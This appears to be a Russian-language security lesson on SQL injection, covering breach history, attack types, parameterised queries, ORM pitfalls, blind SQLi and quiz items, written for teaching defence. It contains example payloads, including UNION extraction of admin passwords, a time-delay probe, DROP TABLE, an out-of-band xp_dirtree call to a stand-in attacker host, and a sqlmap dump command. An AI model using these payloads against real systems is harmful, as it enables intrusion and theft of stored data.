Информационная безопасность
SQL Injection
2008 год. Хакер Альберт Гонсалес взламывает Heartland Payment Systems - крупнейший процессор платёжных карт в США. Метод: SQL Injection в веб-форму. Результат: 130 миллионов номеров карт. Приговор: 20 лет тюрьмы. SQL Injection в OWASP Top 10 с 2003 года - двадцать лет на первых строчках. Не потому что сложно защититься. Потому что не защищаются.
- **Heartland 2008:** 130 млн карт через SQLi в платёжной форме - крупнейшая утечка финансовых данных в истории
- **Twitch 2021:** через SQLi в поле сортировки утекло 128 ГБ данных, включая выплаты стримерам
- **Yahoo 2012:** SQLi дал доступ к 450 000 учётных записей через API поиска - опубликовано в открытый доступ
SQL Injection: когда данные становятся командой
2007 год. Хакер Альберт Гонсалес взламывает TJX Companies через SQL Injection. Утекает 45 миллионов номеров кредитных карт. Потери: 256 млн долларов. Техника атаки: одна строка в поле ввода.
**SQL Injection** - атака, при которой пользовательский ввод интерпретируется базой данных как SQL-команда. Разработчик думает, что передаёт данные. База данных видит код. OWASP Top 10 #1 - не случайно: уязвимость живёт в миллионах проектов.
**SQLi не ограничивается логином.** Любое поле, попадающее в SQL-запрос - уязвимо: поиск, фильтры, параметры URL (?id=5), заголовки, cookies. В 2021 году через SQLi в поле сортировки взломали Twitch: утекло 128 ГБ данных.
| Тип SQLi | Механизм | Пример |
|---|---|---|
| In-band (Error) | Ошибки БД возвращаются пользователю | ' -- извлечь версию через error message |
| In-band (Union) | UNION SELECT добавляет данные из других таблиц | ' UNION SELECT username,password FROM admins-- |
| Blind (Boolean) | Ответ меняется в зависимости от условия | ' AND 1=1-- vs ' AND 1=2-- |
| Blind (Time) | Задержка ответа как сигнал | '; WAITFOR DELAY '0:0:5'-- |
| Out-of-band | Данные через DNS/HTTP-запросы | '; exec master..xp_dirtree '//attacker.com/'-- |
Разработчик фильтрует только одинарные кавычки в username. Какой payload обойдёт защиту?
Параметризованные запросы: единственная надёжная защита
Проблема SQLi - смешение данных и кода в одной строке. Решение: разделить их физически. **Параметризованные запросы** (prepared statements) отправляют SQL-шаблон и данные раздельно. База данных получает два отдельных объекта: запрос и параметры. Данные никогда не интерпретируются как SQL.
**Почему параметризация работает там, где фильтрация не работает?** Потому что механизм защиты не в содержимом данных, а в протоколе передачи. Даже `'; DROP TABLE users;--` приходит в БД как строка "'; DROP TABLE users;--", а не как SQL-команды.
**Хранимые процедуры** - второй метод защиты, но только если внутри них нет динамического SQL. `EXEC sp_executesql @query` с конкатенацией внутри - та же уязвимость. Параметризация важна на каждом уровне.
Код: `query = f"SELECT * FROM products WHERE category='{category}' ORDER BY {sort_field}"`. Параметризован category, но sort_field приходит из URL. Что произойдёт?
ORM и SQLi: когда «безопасность по умолчанию» подводит
ORM (Sequelize, TypeORM, SQLAlchemy, Hibernate) автоматически параметризуют запросы. Это звучит как «SQLi невозможен с ORM». Это неверно. ORM имеют escape-hatches для сложных запросов - и именно там живут уязвимости.
**HackerOne report #1027147 (2021):** SQLi в production Rails-приложении через ActiveRecord `.where("name = '#{params[:name]}'")`. ORM использовался, но с интерполяцией строки. Выплата: 7 500 долларов. Паттерн встречается в каждом втором legacy Rails-проекте.
**Second-order SQLi** - данные сохраняются безопасно (параметризованно), но потом используются в другом запросе без параметризации. Имя пользователя `admin'--` попадает в базу безопасно, но потом используется в `UPDATE users SET role='user' WHERE username='${storedName}'`. Именно поэтому параметризация нужна везде, не только при вводе.
Разработчик использует TypeORM `userRepo.find({ where: { username, role } })`. Где здесь потенциальный риск?
Blind SQL Injection: атака в темноте
Большинство уязвимых систем не показывают SQL-ошибки пользователю. Разработчик думает: «нет ошибки - нет атаки». Это иллюзия. **Blind SQLi** извлекает данные через косвенные сигналы: изменение содержимого ответа или задержку.
**sqlmap** автоматизирует Blind SQLi: `sqlmap -u 'http://target.com/api/user?id=1' --dump`. Инструмент перебирает все типы инъекций, определяет БД, извлекает данные. На уязвимой системе - дамп базы за минуты. Именно поэтому параметризация критична: даже «невидимые» ошибки эксплуатируются.
**WAF (Web Application Firewall)** - Cloudflare, AWS WAF - блокирует известные SQLi-паттерны. Это полезный слой защиты, но не замена параметризации. Через encoding, comment-obfuscation, chunking запросов WAF обходится. Defense in depth: параметризация + WAF + мониторинг аномалий.
Если приложение показывает только общее сообщение об ошибке (не SQL-ошибку) - оно защищено от SQLi
Скрытие ошибок - полезная мера, но не защита. Blind SQLi и Time-based SQLi извлекают данные без видимых ошибок. Единственная надёжная защита - параметризованные запросы
Атака эксплуатирует синтаксис SQL, а не вывод ошибок. Задержка ответа или изменение логики (true/false) - достаточные каналы. sqlmap автоматически проверяет все варианты.
Приложение возвращает одинаковую HTML-страницу и при успехе, и при ошибке. Ответ всегда 200 OK. Возможна ли SQL Injection в таком случае?
Ключевые идеи
- **SQL Injection** - смешение данных и кода. Любое поле, попадающее в SQL без параметризации, потенциально уязвимо: логин, поиск, фильтры, сортировка, URL-параметры
- **Параметризованные запросы** - единственная надёжная защита. Данные и шаблон передаются раздельно, БД никогда не интерпретирует данные как SQL
- **ORM не гарантирует безопасность**: raw(), literal(), query() с конкатенацией - те же уязвимости. Проверять все escape-hatches в кодовой базе
- **Blind SQLi** работает без видимых ошибок: boolean-сигнал или задержка достаточны для извлечения всей базы. sqlmap автоматизирует это за минуты
Связанные темы
SQL Injection - часть класса атак "Injection" в OWASP Top 10:
- CSRF, SSRF, CORS — Следующий класс веб-атак - подделка запросов вместо инъекций
- XSS — XSS - инъекция JavaScript в HTML, тот же паттерн что SQLi в SQL
- Инструменты пентеста — sqlmap - стандартный инструмент для автоматизации поиска SQLi
Вопросы для размышления
- Есть ли в текущем проекте raw SQL-запросы с конкатенацией строк? Как найти их быстро (grep, статический анализ)?
- ORM используется в проекте. Где документация по опасным методам (raw, literal, execute)? Есть ли код-ревью-правило на их использование?
- Если SQLi найдена в production - каков план действий? Как быстро пропатчить без остановки сервиса?
Связанные уроки
- sec-03 — AuthN/AuthZ - первый рубеж, SQLi - обход второго
- sec-08 — CSRF/SSRF - следующий класс веб-атак после SQLi
- sec-09 — XSS - соседняя атака той же категории (инъекции)
- sec-29 — Пентест: sqlmap автоматизирует поиск SQLi
- db-02-relational-model